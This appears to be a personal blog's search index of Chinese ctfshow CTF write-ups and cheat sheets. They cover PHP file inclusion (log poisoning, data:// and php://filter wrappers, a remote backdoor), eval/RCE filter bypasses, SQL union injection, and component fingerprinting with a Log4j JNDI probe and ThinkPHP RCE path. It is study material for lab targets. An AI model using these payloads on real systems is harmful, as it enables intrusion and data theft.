web151"},{"content":"ctfshow web81\r题号：web81 难度：⭐ 考点：文件包含（配合包含） 日期：2026-8-31 题目描述\r除了将基本伪协议ban了，还把:给ban了，我他哥的求你了\n解题思路\r1.伪协议这下是真的基本都没了，就可以往其他地方去想：“日志包含”。我们一般访问对方网站的时候都会被网站日志给记录下我们的UA头。而文件包含有个特点，不论你是什么后缀的文件，只要你里面有完整的代码格式它都会去执行。因此，如果我们通过抓包在UA头里插入恶意PHP代码呢？ 2.首先就是得确认对方是什么中间件搭建的网站，我这里使用的是报错方法。 3.确认为nginx搭建的网站后，我们就可以去网上找它的日志默认路径：/var/log/nginx/access.log（这里需要知道的是日志目录是可以更改的）。找到后尝试修改自己的UA头去访问看是否会被记录 4.发现对方目录确实是会记录我们的UA头后就可以开始将UA头变成恶意代码去寻找flag了\nPayload / 关键操作\r1.明确方向 2.通过访问错误的文件名让对方网站报错获取网站信息 3.我这里是将UA头改成“boqidawang666”了，为了方便就不截图burp修改的图片了，相信都是会的 4.\u0026lt;?php system(\u0026#39;ls\u0026#39;); ?\u0026gt;; \u0026lt;?php system(\u0026#39;tac fl0g.php\u0026#39;); ?\u0026gt; 复现截图\r3. 4. 对应课程章节\r（如：Web攻防-命令执行，方便回头复习）\n50文件包含\n踩坑记录 / 复盘\r无\n","date":"2026-08-31T19:13:27+08:00","permalink":"/notes/ctf/file-inclusion/web81/","title":"ctfshow web81"},{"content":"ctfshow web80\r题号：web80 难度：⭐ 考点：文件包含（远程文件包含） 日期：2026-8-31 题目描述\r题目直接将基本的伪协议基本全部ban掉了\n解题思路\r1.它将data://text/plain,伪协议ban了不代表一定是坏事，因为它ban这个其实从侧面也代表着它没有将allow_url_include给变成off，所以我们可以让其去包含我们远程的后门文件去执行即可。所以我们首先就得生成个后门，我这生成的是boqi.txt 2.生成好后将其放入对方可以访问的公网服务器上 3.然后用哥斯拉去连接后门 4.正常查看flag文件即可\nPayload / 关键操作\r1.正常生成后门即可 2.得放到对方能够抵达的地方 3.连接后门 4.正常查看flag文件即可 复现截图\r![[Pasted image 20260831182625.png|452]] 2. 3. 4. 对应课程章节\r50文件包含\n踩坑记录 / 复盘\r无\n","date":"2026-08-31T18:32:29+08:00","permalink":"/notes/ctf/file-inclusion/web80/","title":"ctfshow web80"},{"content":"ctfshow web79\r题号：web79 难度：⭐⭐ 考点：文件包含（data配合base64编码执行命令） 日期：2026-8-30 题目描述\r题目用str_replace函数将php替换成了？？？，且是遍历循环，无法双写绕过\n解题思路\r1.这里就得想到data://text/plain伪协议了，因为你要执行的是php命令，所以你还要配和base64进行编码绕过，所以你接下来将使用的是data://text/plain;base64,的组合技！（唯一需要注意的是：因为你是base64编码，内容中会存在%=等等符号，你输入在浏览器栏时可能会被url解码，所以你这里最好自己先进行编码一次）\nPayload / 关键操作\r1.?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpID8%2B 2.?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKSA%2FPg%3D%3D 复现截图\r![[Pasted image 20260830205209.png|271]]![[Pasted image 20260830205226.png|258]] 2. ![[Pasted image 20260830205412.png|264]]![[Pasted image 20260830205424.png|305]] 对应课程章节\r50文件包含\n踩坑记录 / 复盘\r1.没有想到data://text/plain,伪协议居然可以配合base64打组合技\n","date":"2026-08-30T20:55:40+08:00","permalink":"/notes/ctf/file-inclusion/web79/","title":"ctfshow web79"},{"content":"ctfshow web78\r题号：web78 难度：⭐ 考点：文件包含（include文件包含的关键函数） 日期：2026-8-30 题目描述\r发现题目存在include文件包含的关键函数\n解题思路\r1.先用data伪装协议去查看当前目录下的文件 2.然后再用data伪协议去执行查看flag.php的命令\nPayload / 关键操作\r1.?file=data://text/plain,\u0026lt;?php system(\u0026#39;ls\u0026#39;) ?\u0026gt; 2.?file=data://text/plain,\u0026lt;?php system(\u0026#39;tac flag.php\u0026#39;) ?\u0026gt; 复现截图\r1. 2.\n对应课程章节\r文件包含漏洞\n踩坑记录 / 复盘\r无，easy\n","date":"2026-08-30T20:04:39+08:00","permalink":"/notes/ctf/file-inclusion/web78/","title":"ctfshow web78"},{"content":"ctfshow web33\r题号：web33 难度：⭐ 考点：Web33 日期：2026-8-30 题目描述\r解题思路\r1.和32思路基本一样，就是构造文件包含漏洞配合伪协议就行\nPayload / 关键操作\r1./?c=include$_GET[1]?\u0026gt;\u0026amp;1=data://text/plain,\u0026lt;?php system(\u0026#39;ls\u0026#39;) ?\u0026gt; 2.?c=include$_GET[1]?\u0026gt;\u0026amp;1=php://filter/read=convert.base64-encode/resource=flag.php 复现截图\r1. 2.\n对应课程章节\rRCE命令执行\n踩坑记录 / 复盘\r神不会在同一个地方放错\n","date":"2026-08-30T18:02:59+08:00","permalink":"/notes/ctf/command-execution/web33/","title":"ctfshow web33"},{"content":"ctfshow web3\r题号：web3 难度：⭐ 考点：信息收集（信息暴露在数据包） 日期：2026-8-30 题目描述\r解题思路\r1.开始题目就说了“没思路就去抓个数据包看看”\nPayload / 关键操作\r抓包 复现截图\r对应课程章节\r无\n踩坑记录 / 复盘\r救赎之道，就在其中\n","date":"2026-08-30T17:47:32+08:00","permalink":"/notes/ctf/info-collection/web3/","title":"ctfshow web3"},{"content":"ctfshow webXXX - 题目名\r题号：web2 难度：⭐ 考点：信息收集（绕过javascript） 日期：2026-8-30 题目描述\r解题思路\r1.禁用浏览器禁用JavaScript即可\nPayload / 关键操作\r复现截图\r对应课程章节\r无\n踩坑记录 / 复盘\r1.这里多学到了另一种方法：view-source是一种协议，早期基本上每个浏览器都支持这个协议。后来Microsoft考虑安全性，对于WindowsXP pack2以及更高版本以后IE就不再支持此协议。但是这个方法在FireFox和Chrome浏览器都还可以使用。 如果要在IE下查看源代码,只能使用查看中的\u0026quot;查看源代码\u0026quot;命令.以前的使用方法：在浏览器地址栏中输入 view-source: sURL\n","date":"2026-08-30T17:32:24+08:00","permalink":"/notes/ctf/info-collection/web2/","title":"ctfshow webXXX - 题目名"},{"content":"框架识别方法论（Web 框架/组件指纹）\r用途：看到目标 → 确定它是什么框架/组件 → 知道该打什么 核心思想：识别目的 = 知道该打什么，不需要 100% 精确，工具会兜底 组合拳：响应头/插件先猜 → 报错页/默认路径确认 → 工具验证\n一、识别流程总览（照这个顺序走）\r第1步 响应头 Server / X-Powered-By / X-Application-Context 第2步 浏览器插件 Wappalyzer（快速线索，可被伪造，仅参考） 第3步 报错探测 触发404/非法参数，看框架默认错误页（最可靠） 第4步 默认路径 /actuator、/wp-admin、/console、?s= 等 第5步 Cookie/Session JSESSIONID、PHPSESSID、rememberMe 第6步 主动探测 对目标发特定请求看回显 第7步 工具兜底 whatweb / fscan / nuclei（自动识别+匹配模板） 二、响应头速查（第1步）\r响应头 含义 Server: nginx / Apache / IIS Web 服务器 X-Powered-By: PHP/7.4 PHP X-Powered-By: ASP.NET ASP.NET X-Application-Context: application Spring Boot（基本实锤） X-AspNet-Version: 4.0 ASP.NET Via / X-Generator 代理 / 生成器线索 三、报错页特征（第3步，最可靠）\r报错特征 框架 Whitelabel Error Page Spring Boot 特定的 404 页面样式 Tomcat ThinkPHP 风格报错 ThinkPHP 标准 Nginx 404 Nginx 语法错误/堆栈回显 PHP / .NET 触发方式：访问不存在的路径、提交非法参数、故意制造异常\n四、默认路径 / 路由特征（第4步，硬指纹）\r路径/特征 框架/组件 /actuator/env、/actuator/health Spring Boot /wp-admin、/wp-login.php WordPress /console Weblogic /manager/html Tomcat ?s=index/think\\app/invokefunction ThinkPHP ?index.php?s=... ThinkPHP /index.php?m=\u0026amp;c=\u0026amp;a= 老 PHP 框架 /vendor Laravel /admin 各种后台 五、Cookie / Session 特征（第5步）\rCookie 含义 rememberMe=deleteMe Shiro（实锤） JSESSIONID Java 系（Tomcat/Weblogic/Jetty） PHPSESSID PHP ASP.NET_SessionId ASP.NET 六、主动指纹探测（第6步）\r探测动作 识别目标 访问 /actuator/env 看返回 Spring Boot 访问 /wp-login.php WordPress 访问 /index.php?s=index/think\\app/invokefunction ThinkPHP（顺便可打 RCE） 传 ${jndi:ldap://dnslog} 看回连 Log4j 七、工具兜底（第7步，安全感来源）\rwhatweb 目标 # 命令行指纹 fscan -h 目标 # 扫描+识别+常见洞 nuclei -u 目标 -t 组件模板/ # 按组件打 CVE 模板 工具模板按框架分类，识别和利用一步到位——你只需要确认结果。\n八、识别出来之后：常见框架 → 该打什么\r识别结果 优先测试方向 Spring Boot /actuator 信息泄露、SpEL、历史 RCE CVE Shiro rememberMe 反序列化 Fastjson @type 反序列化 ThinkPHP 历史 RCE（如 5.0.23 远程代码执行） Weblogic 反序列化 / 未授权（7001） Tomcat 弱口令 manager、AJP 文件读取 WordPress 插件漏洞、弱口令 Laravel 密钥泄露 → 反序列化 记忆口诀\r头看响应，错看报错，路看路径，标识看Cookie，最后工具兜底。\n速查表持续补充，实战遇到新框架/新特征随时更新。\n","date":"2026-08-29T17:07:50+08:00","permalink":"/notes/ctf/middleware/%E6%A1%86%E6%9E%B6%E8%AF%86%E5%88%AB%E6%96%B9%E6%B3%95%E8%AE%BA/","title":"框架识别方法论（Web 框架/组件指纹）"},{"content":"中间件/组件/框架 指纹速查表\r用途：识别目标是什么组件 → 查对应 CVE → 工具复现 学习策略：不用背漏洞细节，只记\u0026quot;端口映射 + 指纹特征 + 每类 1 个代表洞\u0026quot; 一句话流程：扫端口 → 认组件 → nuclei/fscan 打模板 → 搜 CVE 复现\n一、端口 → 组件映射（核心，必记）\r端口 组件 端口 组件 21 FTP 7001 Weblogic 22 SSH 8009 Tomcat AJP 3306 MySQL 8080 Tomcat / 各种 Web 6379 Redis 8081/8082 中间件后台 27017 MongoDB 8161 ActiveMQ 445 SMB 8443 HTTPS 管理口 3389 RDP 8848 Nacos 2375 Docker API 9200 Elasticsearch 11211 Memcached 9090 WebLogic 管理台 / Prometheus 2181 Zookeeper 10000 Webmin 5432 PostgreSQL 1521 Oracle 80/443 Web 服务 2222 SSH 改端口 记忆要点：高危未授权三兄弟 = Redis(6379) / MongoDB(27017) / Docker API(2375)，扫到直接连一下试试。\n二、组件指纹特征（看到特征 = 知道是啥）\r组件 招牌特征 Shiro 响应 Cookie 带 rememberMe=deleteMe（最经典） Fastjson 请求体 {\u0026quot;@type\u0026quot;:\u0026quot;...\u0026quot;}；报错回显特征 Spring 响应头 X-Application-Context；特定报错页 ThinkPHP URL 特征（如 ?s=index/think\\app/invokefunction）；特定报错格式 Nacos 8848 端口 + 登录界面（默认口令 nacos/nacos 常有效） Tomcat 默认报错页；/manager/html 管理后台（弱口令） Weblogic 7001 端口 + 特定报错；/console 管理台 Jenkins 8080 端口 + Jenkins 界面（未授权 / 弱口令） Log4j 传 ${jndi:ldap://...} 看 DNSLog 是否回连 JBoss 8080 + /jmx-console、/invoker 等路径 ActiveMQ 8161 端口 + ActiveMQ 界面 Elasticsearch 9200 端口，/_cat/indices 直接可访问 三、每类 1 个代表洞（原理带一片，够了）\r类别 代表洞 同类 反序列化 Shiro 反序列化（rememberMe 密文） Fastjson、Weblogic、JBoss、Log4j 未授权访问 Redis 未授权（写 SSH key/定时任务） MongoDB、Docker API、Nacos、Jenkins、ES 默认/弱口令 Nacos nacos/nacos Tomcat、Weblogic、Jenkins、SSH 爆破 任意文件读 Spring 目录穿越（CVE-2021-21234 等） Tomcat 任意文件、各种历史 CVE 反序列化的核心思想（必懂）：服务端把不可信数据反序列化 → 攻击者构造恶意序列化数据 → 触发代码执行。懂这一个原理，Shiro/Fastjson/Weblogic 的洞都是\u0026quot;换了个入口的同一个故事\u0026quot;。\n四、工具链（2026 标配）\r工具 用途 fscan 内网/端口扫描 + 常见漏洞一把梭（识别组件、未授权、弱口令） nuclei 用模板库自动打历史 CVE（识别到组件 → 跑对应模板） nmap 端口扫描（-sV 识别服务版本） xray / goby 被动/主动扫描（可选） Wappalyzer（浏览器插件） 前端快速看技术栈 实战流程：\n1. nmap -sV 目标IP → 看开放端口 + 服务版本 2. fscan -h 目标IP → 自动识别组件 + 打常见漏洞 3. 根据识别结果： - nuclei -u 目标 -t 组件/ → 跑该组件的 CVE 模板 - 或手动搜 CVE：Exploit-DB / GitHub PoC / 本地笔记 4. 复现 → 拿 flag / getshell 五、查 CVE 的资源（记住去哪查就行）\rExploit-DB：https://www.exploit-db.com/ nuclei 模板库：https://github.com/projectdiscovery/nuclei-templates（按组件分类） GitHub PoC 搜索：搜 组件名 CVE-年份 PoC fscan 输出：识别+常见洞一键出结果 自己仓库的「中间件漏洞」文件夹：遇到新洞顺手记一页（触发特征 → payload → 复现截图） 六、记忆口诀\r端口认组件，指纹定版本，工具打模板，查表补细节。\n速查表持续补充，实战遇到新组件/新特征随时更新。\n","date":"2026-08-29T14:07:45+08:00","permalink":"/notes/ctf/middleware/%E4%B8%AD%E9%97%B4%E4%BB%B6%E7%BB%84%E4%BB%B6%E6%8C%87%E7%BA%B9%E9%80%9F%E6%9F%A5%E8%A1%A8/","title":"中间件/组件/框架 指纹速查表"},{"content":"ctfshow web32\r题号：web32 难度：⭐⭐ 考点：命令执行配合制造漏洞代码 日期：2026-8-29 题目描述\r将大部分常规思路代码都过滤了，尤其是分号的过滤，因为我们的普遍认知都是php中每个想要执行的代码后面都必须存在分号\n解题思路\r1.发现过滤了分号就去思考有什么不需要用到分号或者只用一次分号就能解决问题的办法 2.然后聪明的你就想到了通过构造文件包含漏洞配合伪协议来解决这题\n下面的两个payload都可以获取flag\nPayload / 关键操作\r一.?c=include$_GET[1]?\u0026gt;\u0026amp;1=data://text/plain,\u0026lt;?php system(\u0026#39;tac flag.php\u0026#39;);?\u0026gt; 二.?c=include$_GET[1]?\u0026gt;\u0026amp;1=php://filter/read=convert.base64-encode/resource=flag.php 复现截图\r一.\n二.\n对应课程章节\rRCE命令执行\n踩坑记录 / 复盘\r1.正常来说分号是php代码的结束符，没有分号就会报错。但这有个小细节:?\u0026gt;这个也可以作为php代码的结束符，所以一般php代码的最后一个代码都可以不用分号\n","date":"2026-08-29T11:57:33+08:00","permalink":"/notes/ctf/command-execution/web32/","title":"ctfshow web32"},{"content":"伪协议速查表（PHP）\r适用：文件包含（include/require）题、任意文件读取题 记忆口诀：读文件用 filter，执行用 data/input\n一、什么是伪协议（一句话原理）\rPHP 的 include / file_get_contents 等函数读的不一定是磁盘文件，还可以是\u0026quot;协议流\u0026quot;（由 PHP 生成的内容）。伪协议 = 这些特殊流。\n支持伪协议的函数：include / require / include_once / require_once / file_get_contents / readfile / file / fopen\n关键配置：\nallow_url_include=On：data:// 和 php://input 才可用（CTF 环境一般开着） allow_url_fopen：默认 On 二、4 个必记协议\r① php://filter —— 读源码（最最常用）\r// 读 PHP 文件内容（base64 编码，避免被当作代码执行） php://filter/read=convert.base64-encode/resource=flag.php // 变体：省略 read=（等价） php://filter/convert.base64-encode/resource=flag.php // 变体：读文件内容原样输出（非 PHP 文件时用） php://filter/resource=flag.txt // 变体：多过滤器（进阶，绕过时用） php://filter/read=convert.iconv.utf-8.utf-16/convert.base64-encode/resource=flag.php ⚠️ base64 输出里可能带 + / =，在 URL 中会被编码成 %2B %2F %3D，看到这种记得 urldecode\n② data:// —— 直接执行代码\r// 塞一段 PHP 代码执行（\u0026lt;?= 是短标签，等价 \u0026lt;?php echo） data://text/plain,\u0026lt;?=system(\u0026#39;tac flag.php\u0026#39;);?\u0026gt; // 普通文本（配合 include 输出文本内容） data://text/plain,hello ③ php://input —— POST 内容当代码\r// URL 里写：php://input // POST 请求体里写：\u0026lt;?php system(\u0026#39;tac flag.php\u0026#39;);?\u0026gt; ④ 其它（了解即可）\rphp://temp / php://memory 临时/内存流 expect://命令 执行命令（需装 expect 扩展，基本遇不到） php://filter/string.rot13 过滤器：rot13 加密（绕过过滤时用） 三、场景速查表\r场景 用什么 例子 include 了 PHP 文件，想看源码 php://filter + base64 ?file=php://filter/read=convert.base64-encode/resource=index.php include 可控，想执行代码 data:// 或 php://input ?file=data://text/plain,\u0026lt;?=phpinfo();?\u0026gt; 有文件包含但过滤了关键字 过滤器链 / 编码绕过 convert.iconv 链、rot13、二次编码 读非 PHP 文件（txt/json） php://filter/resource= 或直接路径 ?file=flag.txt 四、考点总结（CTF 怎么考）\r经典套路：include $_GET['file'] → ?file=php://filter/read=convert.base64-encode/resource=flag.php → base64 解码拿 flag 配合过滤绕过：过滤了 ; → 用 ?\u0026gt; 当分号（PHP 闭合标签=隐式分号）；过滤了关键字 → 把 payload 挪到未过滤的参数（见《文件包含》案例题） 过滤器链（进阶）：convert.iconv.* 多过滤器组合可以构造任意字符，用于绕过更严格的过滤（如只能读部分字符） php://input 需要 allow_url_include=On，题目开不了的话用 data:// 代替 五、实战案例（小迪题：分号过滤 + 伪协议）\r// 源码：eval($_GET[\u0026#39;c\u0026#39;])，过滤 flag|system|php|cat|sort|shell|.|echo|; // 绕过：分号用 ?\u0026gt; 代替，payload 挪到未过滤的 a 参数 ?c=include $_GET[a] ?\u0026gt;\u0026amp;a=php://filter/read=convert.base64-encode/resource=flag.php // 或 ?c=include $_GET[a] ?\u0026gt;\u0026amp;a=data://text/plain,\u0026lt;?=system(\u0026#39;tac flag.php\u0026#39;);?\u0026gt; 两层绕过：\n; 被过滤 → ?\u0026gt; 隐式分号收尾 system/flag/php/. 被过滤 → 全部塞进未过滤的 a 参数 速查表持续补充，遇到新考法随时更新。\n","date":"2026-08-29T10:49:12+08:00","permalink":"/notes/ctf/file-inclusion/%E4%BC%AA%E5%8D%8F%E8%AE%AE%E9%80%9F%E6%9F%A5%E8%A1%A8/","title":"伪协议速查表（PHP）"},{"content":"ctfshow web31\r题号：web31 难度：⭐⭐ 考点：RCE中的“参数逃逸” 日期：2026-8-28 题目描述\r基本将之前的绕过思路全部阻断了\n解题思路\r1.看到没过滤exec，就以为和上题思路一样将内容全部写到自定义文件里面，知道我看到了题目过滤了“.”，那不卡了吗 2.然后就想到了萧瑟迪的一招“参数逃逸”，就是自己创建个参数去执行命令，然后自己创建的参数又不受题目的限制\nPayload / 关键操作\r?c=eval($_GET[1]);\u0026amp;1=system(\u0026#39;tac flag.php\u0026#39;); 复现截图\r2.\n对应课程章节\rRCE命令执行\n踩坑记录 / 复盘\r开始也想过参数逃逸，但是我看到题目实际是过滤了引号的，我以为没有引号就创建不了参数，结果参数是可以以数字形式创建的\n","date":"2026-08-28T11:26:36+08:00","permalink":"/notes/ctf/command-execution/web31/","title":"ctfshow web31"},{"content":"ctfshow webXXX - 题目名\r题号：Web30 难度：⭐ 考点：RCE命令执行（无回显） 日期：2026-8-28 题目描述\r来到靶场，发现其多过滤了system和php\n解题思路\r1.因为只过滤了system，我们还可以去使用其他命令执行的函数，比如（我写这题想到的）exec，shell_exec等等，但是exec和shell_exec都是无法回显到页面上来的 2.遇到无回显我们会怎么办呢？一个是带外查询，一个就是本地文件创建于访问。因为我们是要查看具体的flag值，所以得选择后者 3.在使用ls查看本地文件的同时创建一个自定义文件让它将数据记录在里面 4.然后去访问一下furina.txt文件，发现flag确实是在本级目录 5.然后再用tac命令配合文件创建并查看即可\nPayload / 关键操作\r3.?c=exec(\u0026#34;ls \u0026gt;\u0026gt; furina.txt\u0026#34;); 5.?c=exec(\u0026#34;tac fla?.ph? \u0026gt; furina.txt\u0026#34;); 复现截图\r3. 4. 5. 对应课程章节\rRCE命令执行\n踩坑记录 / 复盘\r无\n","date":"2026-08-28T10:31:09+08:00","permalink":"/notes/ctf/command-execution/web30/","title":"ctfshow webXXX - 题目名"},{"content":"ctfshow web29\r题号：web29 难度：⭐ 考点：如 SQL 注入（无回显） 日期：2026-8-28 题目描述\r一个简单的eval命令执行，只是过滤了flag\n解题思路\r1.先简单审计函数，发现里面出现了关键函数“eval” 2.想到代码执行转变为命令执行去查看本地文件 3.发现flag文件，因为有过滤，所以我们可以使用占位符？或者通配符*去绕过\nPayload / 关键操作\r2.?c=system(\u0026#39;ls\u0026#39;); 3.?c=system(\u0026#39;tac fla?.php\u0026#39;); 复现截图\r3.\n对应课程章节\r59.RCE命令执行\n踩坑记录 / 复盘\r值得注意的是，我不知道是bug还是它内部过滤的原因，反正就是用不了cat命令\n","date":"2026-08-28T09:56:06+08:00","permalink":"/notes/ctf/command-execution/web29/","title":"ctfshow web29"},{"content":"ctfshow web174\r题号：web174 难度：⭐ 考点：如 SQL 注入（无回显） 日期：2026-8-27 题目描述\r解题思路\r核心思路：发现注入点、识别盲注条件成功与否返回值、构造条件语句、构造截取字符串。 打开题目发现：\n$sql = \u0026quot;select username,password from ctfshow_user4 where username !='flag' and id = '\u0026quot;.$_GET['id'].\u0026quot;' limit 1;\u0026quot;;\n1、抓包，确认注入点在哪里。\n/api/v4.php?id=1\n2、输入1、1\u0026rsquo;、1\u0026quot;确认是字符型还是数值型。同时确认闭合形式。\n其他题目必要时输入1\u0026rsquo;\u0026quot;) 。\n对于数值型，输入1\u0026rsquo;和1\u0026quot;返回值都一样。对于字符型，输入1和1\u0026rsquo;是不一样的返回结果。 输入1'返回结果空，说明程序运行异常。构造1' and 1=1 -- +\nPayload / 关键操作\r? id=0\u0026#39; union select REPLACE(username,\u0026#39;g\u0026#39;,\u0026#39;j\u0026#39;),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,\u0026#39;g\u0026#39;,\u0026#39;9\u0026#39;),\u0026#39;0\u0026#39;,\u0026#39;h\u0026#39;),\u0026#39;1\u0026#39;,\u0026#39;i\u0026#39;),\u0026#39;2\u0026#39;,\u0026#39;j\u0026#39;),\u0026#39;3\u0026#39;,\u0026#39;k\u0026#39;),\u0026#39;4\u0026#39;,\u0026#39;l\u0026#39;),\u0026#39;5\u0026#39;,\u0026#39;m\u0026#39;),\u0026#39;6\u0026#39;,\u0026#39;n\u0026#39;),\u0026#39;7\u0026#39;,\u0026#39;o\u0026#39;),\u0026#39;8\u0026#39;,\u0026#39;p\u0026#39;),\u0026#39;9\u0026#39;,\u0026#39;q\u0026#39;) from ctfshow_user4 where username=\u0026#39;flag\u0026#39;%23 复现截图\r对应小迪课程章节\rSQL注入\n踩坑记录 / 复盘\r1.使用union select的时候面对数值可以直接写，比如union select 1,2;但如果是字符就必须加引号，不然数据库会以为你是要查询对应的列名：union select \u0026lsquo;a\u0026rsquo;,\u0026lsquo;b\u0026rsquo;\n","date":"2026-08-27T11:21:36+08:00","permalink":"/notes/ctf/sql-injection/web174/","title":"ctfshow web174"},{"content":"ctfshow web173\r题号：web173 难度：⭐ 考点：如 SQL 注入 日期：2026-8-27 题目描述\r和上题基本一样，就是多了一个正则，匹配到flag就不会给你查询\n解题思路\r其实直接按部就班上题就行了，因为我们用的是联合查询，username本来就被我们变成数字了，我们想要的只是password而已 [[Web174|[\u0026ldquo;ctfshow web174\u0026rdquo;,\u0026ldquo;123\u0026rdquo;]]]\nPayload / 关键操作\r1.1 \u0026#39; union select 1,2,database() --+ 2. 1 \u0026#39; union select 1,456,password from ctfshow_user3 --+ 复现截图\r对应课程章节\rSQL注入\n踩坑记录 / 复盘\r记得先用order by 探针一下，md我一直以为id不算payload一直都是union select 1,2 。还一直在想我究竟错哪了\n","date":"2026-08-27T11:15:36+08:00","permalink":"/notes/ctf/sql-injection/web173/","title":"ctfshow web173"},{"content":"ctfshow web172\r题号：web172 难度：⭐ 考点：如 SQL 注入 日期：2026-8-26 题目描述\r来到界面就只有一只小猫，尝试去寻找注入点\n解题思路\r1.发现小猫上面分了很多个模块，其他模块都是没有解锁状态，只有SELECT模块可以点 2.点进去后发现它和171类似，也是限制了username=flag，这也说明了我们想要的值就在username=flag对应的password上面 3.通过输入1 \u0026rsquo; or 1=1 \u0026ndash;+观察到数据库信息中并没有答案，说明我们想要的值在别的列名或表名中 4.因为判断出它是有回显的查询，我们就可以用到union select联合查询去破解，于是就开始寻找它的数据库名与权限信息（因为现在的数据库基本都是5.0版本以上，就没必要去version()看版本了） 5.知道对方的数据库名后，我们就可以通过自带的数据库名information_schema去尝试找到对方的表名 6.知道表名后，因为题目已经告诉了我们列名（字段名）的信息，我们就没必要去看了，直接去找它表明里面的数据就行了\nPayload / 关键操作\r1 \u0026#39; union select database(),group_concat(table_name) from information_schema.tables where table_schema=\u0026#39;ctfshow_web\u0026#39;--+ -1\u0026#39; union select 1,password from ctfshow_user2 --+ 复现截图\r1. 2. 3. 4. 5. 6.\n对应课程章节\rSQL注入42天\n踩坑记录 / 复盘\r多注意观察靶场的每个界面，少撸猫\n","date":"2026-08-26T14:12:19+08:00","permalink":"/notes/ctf/sql-injection/web172/","title":"ctfshow web172"},{"content":"ctfshow web- 171\r题号：web171 难度：⭐ 考点：SQL 注入 日期：2026-8-26 题目描述\r解题思路\r来到靶场先看它给的提示，在它给的sql语句中发现它查找的username值是不能等于flag的，这也恰恰说明这个库中存在username等于flag的值且password就是我们最终想要的答案，所以我们现在的目标就是要尝试绕过它的限制。根据题意可知绕过的方式就是熟悉的1=1将它的库全部拖出来即可。\nPayload / 关键操作\r-4.\u0026#34; \u0026#39; or 1 = 1 --+ 复现截图\r对应课程章节\rsql注入\n踩坑记录 / 复盘\r想了有一会儿才发现是要把它库全部拖出来，就用1=1\n","date":"2026-08-26T11:41:15+08:00","permalink":"/notes/ctf/sql-injection/web171/","title":"ctfshow web- 171"},{"content":" 🖼️ 以相册模式查看 ↗ 图片合集\r","date":"2026-08-17T16:35:00+08:00","permalink":"/gallery/the-meaning-of-life/","title":"The meaning of life"},{"content":" 这是本人第一次搭建属于自己的博客\n设计的初衷是为了记录网络安全学习的过程和放些日常图片等等，顺便希望将自己在学习过程中的所学所想记录下来分享给大家，同时也是勉励自己更努力的去投入这个行业学习更多新的知识。\n至于后台什么的初来乍到当然是不敢弄的，也请各位大佬别把我的博客当靶场，谢谢你们！ 本人署名：wzy\n","date":"2026-08-13T00:04:15+08:00","permalink":"/posts/%E7%AC%AC%E4%B8%80%E7%AF%87%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/","title":"波奇大王的第一篇学习笔记"},{"content":"","date":"0001-01-01T00:00:00Z","permalink":"/posts/%E7%9B%AE%E5%89%8D%E7%BD%91%E5%AE%89%E7%9A%84%E5%AD%A6%E4%B9%A0%E5%BF%83%E5%BE%97/","title":""},{"content":"\n","date":"0001-01-01T00:00:00Z","permalink":"/about/","title":"关于我"}]
